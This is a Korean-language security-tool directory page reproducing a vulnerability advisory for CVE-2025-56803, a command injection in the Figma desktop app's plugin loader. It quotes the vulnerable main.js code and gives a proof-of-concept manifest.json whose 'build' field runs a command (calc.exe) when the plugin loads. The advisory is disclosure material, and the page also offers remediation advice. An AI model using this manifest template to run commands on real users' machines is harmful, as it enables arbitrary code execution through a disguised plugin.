Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-56803 — Figma 데스크톱 애플리케이션의 플러그인 실행을 통한 OS 명령 삽입 취약점 | Kitploit
도구/GitHubGitHub/yosasasutsut/cve-2025-56803
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubyosasasutsut/cve-2025-56803

CVE-2025-56803

Figma 데스크톱 애플리케이션의 플러그인 실행을 통한 OS 명령 삽입 취약점

저장소 보기
21년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-56803

피그마 데스크탑 애플리케이션의 플러그인 실행을 통한 OS 명령어 삽입 취약점

1. 개요

피그마 아이콘
  • 애플리케이션: Figma Desktop Application
  • 버전: 125.6.5
  • 공급업체: Figma, Inc.
  • CWE: CWE-78: OS 명령어에 사용되는 특수 요소의 부적절한 중화 ('OS 명령어 삽입')
  • CVSS: 8.4
  • 벡터 문자열: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

2. 요약

Figma Desktop Application(v125.6.5)은 플러그인 로더에서 명령어 삽입 취약점을 포함하고 있습니다.
악성 플러그인 매니페스트(manifest.json)는 build 필드를 악용할 수 있으며, 이 필드는 검증 없이 child_process.exec()에 직접 전달됩니다.
이로 인해 플러그인이 로드되는 즉시 보안 경고나 프롬프트 없이 임의의 OS 명령어가 실행될 수 있습니다.

3. 세부 사항

취약점은 main.js에 있는 코드에서 비롯되며, 이 코드는 Node.js 내장 child_process 모듈을 임포트합니다:

root@kitploit:~
Zlt = require("child_process")

이후 플러그인의 manifest.json 파일에 build 필드가 있고 그 값이 문자열인 경우, 애플리케이션은 어떤 검증이나 살균 없이 child_process.exec()를 사용하여 해당 값을 직접 실행합니다:

root@kitploit:~
if (
  s.build &&
  typeof s.build === "string" &&
  (l.path = process.env.PATH || "",
  await new Promise((g) => {
    (0, Zlt.exec)(s.build, { cwd: i }, (y, I, P) => {
      l.stdout = I;
      l.stderr = P;
      y && (l.buildErrCode = y.code);
      g();
    });
  }),
  l.buildErrCode
)
  return l;

결과적으로, 악성 플러그인에 포함된 다음 manifest.json 파일은 build 필드의 값을 OS 명령어로 실행하게 됩니다:

root@kitploit:~
{
  "name": "<NAME>",
  "id": "<ID>",
  "api": "1.0.0",
  "main": "code.js",
  "build": "<COMMAND>",
  "capabilities": [],
  "enableProposedApi": false,
  "documentAccess": "dynamic-page",
  "editorType": [
    "figma"
  ],
  "networkAccess": {
    "allowedDomains": [
      "none"
    ]
  }
}

이 실행 흐름은 Figma의 플러그인 처리 로직에 내장되어 있으며, main.js에 require("child_process") 호출이 포함된 것은 명령어 실행이 애플리케이션의 핵심 로직에 직접 내장되어 있음을 확인시켜 줍니다.

4. 개념 증명 (PoC)

다음 악성 manifest.json을 포함한 플러그인을 실행함으로써:

root@kitploit:~
{
  "name": "poc",
  "id": "1535549154235958412",
  "api": "1.0.0",
  "main": "code.js",
  "build": "calc.exe",
  "capabilities": [],
  "enableProposedApi": false,
  "documentAccess": "dynamic-page",
  "editorType": [
    "figma"
  ],
  "networkAccess": {
    "allowedDomains": [
      "none"
    ]
  }
}

이 플러그인이 Figma에 등록되고 실행되면, 지정된 OS 명령어(calc.exe)가 즉시 실행됩니다.

https://github.com/user-attachments/assets/48e0a47a-0d1c-4a92-b9ff-33e9559fd5e7

5. 권장 사항

build 필드의 실행은 Figma Desktop Application에서 공식적으로 지원되는 기능이지만, 애플리케이션은 가능한 한 manifest.json의 사용자 제어 필드(예: build)에 의존하지 않아야 합니다.
그러한 필드를 반드시 지원해야 한다면 명령어 삽입을 방지하기 위해 엄격한 입력 검증을 거쳐야 합니다.
또한 Node.js child_process.exec() 사용을 피하고, 명시적인 인수 처리를 제공하는 더 안전한 대안을 채택해야 합니다.

6. 참고 자료

  • https://www.cve.org/CVERecord?id=CVE-2025-56803
  • https://nvd.nist.gov/vuln/detail/CVE-2025-56803
  • https://www.figma.com/plugin-docs/manifest/
도구 다운로드